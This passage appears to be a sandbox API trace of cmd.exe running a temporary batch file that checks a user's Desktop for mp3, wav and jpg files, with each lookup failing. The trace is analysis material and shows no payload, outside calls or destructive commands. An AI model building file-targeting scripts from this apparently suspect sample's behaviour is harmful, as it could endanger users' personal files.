lpNumberOfBytesRead=0x41f520*=0x1dee, lpOverlapped=0x0) returned 1 [0039.219] SetFilePointer (in: hFile=0x74, lDistanceToMove=2113, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x841 [0039.219] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.mp4 goto mp4\r\n\r\n") returned 2 [0039.219] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.219] GetFileType (hFile=0x74) returned 0x1 [0039.219] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.219] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x841 [0039.219] GetProcessHeap () returned 0x4e0000 [0039.219] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.219] GetProcessHeap () returned 0x4e0000 [0039.219] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.219] _tell (_FileHandle=3) returned 2113 [0039.219] _close (_FileHandle=3) returned 0 [0039.219] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.220] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.220] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.220] SetFilePointer (in: hFile=0x74, lDistanceToMove=2113, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x841 [0039.220] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.220] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x841 [0039.220] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1dec, lpOverlapped=0x0) returned 1 [0039.220] SetFilePointer (in: hFile=0x74, lDistanceToMove=2138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x85a [0039.220] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.mp3 goto mp3\r\n\r\n") returned 25 [0039.220] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.220] GetFileType (hFile=0x74) returned 0x1 [0039.220] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.220] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x85a [0039.220] GetProcessHeap () returned 0x4e0000 [0039.220] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.220] GetProcessHeap () returned 0x4e0000 [0039.220] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.221] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0039.221] GetProcessHeap () returned 0x4e0000 [0039.221] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0039.221] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.221] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0039.221] GetProcessHeap () returned 0x4e0000 [0039.221] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0039.221] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0039.221] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0039.221] GetProcessHeap () returned 0x4e0000 [0039.221] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0039.221] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0039.221] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0039.221] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0039.221] GetProcessHeap () returned 0x4e0000 [0039.221] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.221] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0039.221] GetProcessHeap () returned 0x4e0000 [0039.221] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0039.221] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0039.221] GetProcessHeap () returned 0x4e0000 [0039.221] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0039.221] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0039.222] _tell (_FileHandle=3) returned 2138 [0039.222] _close (_FileHandle=3) returned 0 [0039.223] GetFullPathNameW (in: lpFileName="*.mp3", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mp3", lpFilePart=0x41eea8*="*.mp3") returned 0x2b [0039.223] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0039.223] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mp3", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0039.223] GetLastError () returned 0x2 [0039.223] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0039.223] GetLastError () returned 0x6 [0039.223] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.223] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.223] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.223] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.224] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.224] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.224] SetConsoleInputExeNameW () returned 0x1 [0039.224] GetConsoleOutputCP () returned 0x1b5 [0039.224] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.224] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.225] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.225] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.225] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.225] SetFilePointer (in: hFile=0x74, lDistanceToMove=2138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x85a [0039.225] GetProcessHeap () returned 0x4e0000 [0039.225] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0039.225] GetProcessHeap () returned 0x4e0000 [0039.225] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0039.225] GetProcessHeap () returned 0x4e0000 [0039.225] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0039.225] GetProcessHeap () returned 0x4e0000 [0039.225] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0039.225] GetProcessHeap () returned 0x4e0000 [0039.225] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0039.225] GetProcessHeap () returned 0x4e0000 [0039.225] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0039.225] GetProcessHeap () returned 0x4e0000 [0039.225] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0039.225] GetProcessHeap () returned 0x4e0000 [0039.225] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.225] GetProcessHeap () returned 0x4e0000 [0039.225] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0039.225] GetProcessHeap () returned 0x4e0000 [0039.225] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0039.226] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.226] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x85a [0039.226] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1dd3, lpOverlapped=0x0) returned 1 [0039.226] SetFilePointer (in: hFile=0x74, lDistanceToMove=2140, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x85c [0039.226] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.mp3 goto mp3\r\n\r\n") returned 2 [0039.226] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.226] GetFileType (hFile=0x74) returned 0x1 [0039.226] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.226] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x85c [0039.226] GetProcessHeap () returned 0x4e0000 [0039.226] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.226] GetProcessHeap () returned 0x4e0000 [0039.226] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.226] _tell (_FileHandle=3) returned 2140 [0039.226] _close (_FileHandle=3) returned 0 [0039.226] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.227] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.227] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.227] SetFilePointer (in: hFile=0x74, lDistanceToMove=2140, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x85c [0039.227] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.227] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x85c [0039.227] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1dd1, lpOverlapped=0x0) returned 1 [0039.227] SetFilePointer (in: hFile=0x74, lDistanceToMove=2165, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x875 [0039.227] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.wav goto wav\r\n\r\n") returned 25 [0039.227] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.227] GetFileType (hFile=0x74) returned 0x1 [0039.227] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.227] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x875 [0039.227] GetProcessHeap () returned 0x4e0000 [0039.227] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.228] GetProcessHeap () returned 0x4e0000 [0039.228] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.228] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0039.228] GetProcessHeap () returned 0x4e0000 [0039.228] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0039.228] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.228] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0039.228] GetProcessHeap () returned 0x4e0000 [0039.228] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0039.228] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0039.228] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0039.228] GetProcessHeap () returned 0x4e0000 [0039.228] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0039.228] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0039.228] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0039.228] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0039.228] GetProcessHeap () returned 0x4e0000 [0039.228] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.228] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0039.228] GetProcessHeap () returned 0x4e0000 [0039.228] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0039.229] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0039.229] GetProcessHeap () returned 0x4e0000 [0039.229] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0039.229] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0039.229] _tell (_FileHandle=3) returned 2165 [0039.229] _close (_FileHandle=3) returned 0 [0039.230] GetFullPathNameW (in: lpFileName="*.wav", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.wav", lpFilePart=0x41eea8*="*.wav") returned 0x2b [0039.230] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0039.230] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.wav", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0039.230] GetLastError () returned 0x2 [0039.230] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0039.230] GetLastError () returned 0x6 [0039.230] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.230] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.230] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.230] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.231] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.231] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.231] SetConsoleInputExeNameW () returned 0x1 [0039.231] GetConsoleOutputCP () returned 0x1b5 [0039.231] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.231] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.231] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.232] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.232] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.232] SetFilePointer (in: hFile=0x74, lDistanceToMove=2165, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x875 [0039.232] GetProcessHeap () returned 0x4e0000 [0039.232] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0039.232] GetProcessHeap () returned 0x4e0000 [0039.232] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0039.232] GetProcessHeap () returned 0x4e0000 [0039.232] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0039.232] GetProcessHeap () returned 0x4e0000 [0039.232] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0039.232] GetProcessHeap () returned 0x4e0000 [0039.232] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0039.232] GetProcessHeap () returned 0x4e0000 [0039.232] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0039.232] GetProcessHeap () returned 0x4e0000 [0039.232] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0039.232] GetProcessHeap () returned 0x4e0000 [0039.232] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.232] GetProcessHeap () returned 0x4e0000 [0039.232] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0039.232] GetProcessHeap () returned 0x4e0000 [0039.232] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0039.232] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.232] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x875 [0039.233] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1db8, lpOverlapped=0x0) returned 1 [0039.233] SetFilePointer (in: hFile=0x74, lDistanceToMove=2167, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x877 [0039.233] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.wav goto wav\r\n\r\n") returned 2 [0039.233] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.233] GetFileType (hFile=0x74) returned 0x1 [0039.233] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.233] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x877 [0039.233] GetProcessHeap () returned 0x4e0000 [0039.233] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.233] GetProcessHeap () returned 0x4e0000 [0039.233] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.233] _tell (_FileHandle=3) returned 2167 [0039.233] _close (_FileHandle=3) returned 0 [0039.233] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.233] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.233] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.233] SetFilePointer (in: hFile=0x74, lDistanceToMove=2167, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x877 [0039.234] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.234] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x877 [0039.234] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1db6, lpOverlapped=0x0) returned 1 [0039.234] SetFilePointer (in: hFile=0x74, lDistanceToMove=2192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x890 [0039.234] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.jpg goto jpg\r\n\r\n") returned 25 [0039.234] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.234] GetFileType (hFile=0x74) returned 0x1 [0039.234] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.234] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x890 [0039.234] GetProcessHeap () returned 0x4e0000 [0039.234] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.234] GetProcessHeap () returned 0x4e0000 [0039.234] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.234] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0039.234] GetProcessHeap () returned 0x4e0000 [0039.234] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0039.234] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.235] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0039.235] GetProcessHeap () returned 0x4e0000 [0039.235] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0039.235] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0039.235] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0039.235] GetProcessHeap () returned 0x4e0000 [0039.235] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0039.235] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0039.235] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0039.235] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0039.235] GetProcessHeap () returned 0x4e0000 [0039.235] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.235] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0039.235] GetProcessHeap () returned 0x4e0000 [0039.235] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0039.235] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0039.235] GetProcessHeap () returned 0x4e0000 [0039.235] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0039.235] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0039.236] _tell (_FileHandle=3) returned 2192 [0039.236] _close (_FileHandle=3) returned 0 [0039.236] GetFullPathNameW (in: lpFileName="*.jpg", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.jpg", lpFilePart=0x41eea8*="*.jpg") returned 0x2b [0039.236] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0039.236] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.jpg", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0039.237] GetLastError () returned 0x2 [0039.237] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0039.237] GetLastError () returned 0x6 [0039.237] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.237] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.239] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.239] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.239] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.239] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.239] SetConsoleInputExeNameW () returned 0x1 [0039.239] GetConsoleOutputCP () returned 0x1b5 [0039.239] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.239] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.240] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.240] _open_osfhandle 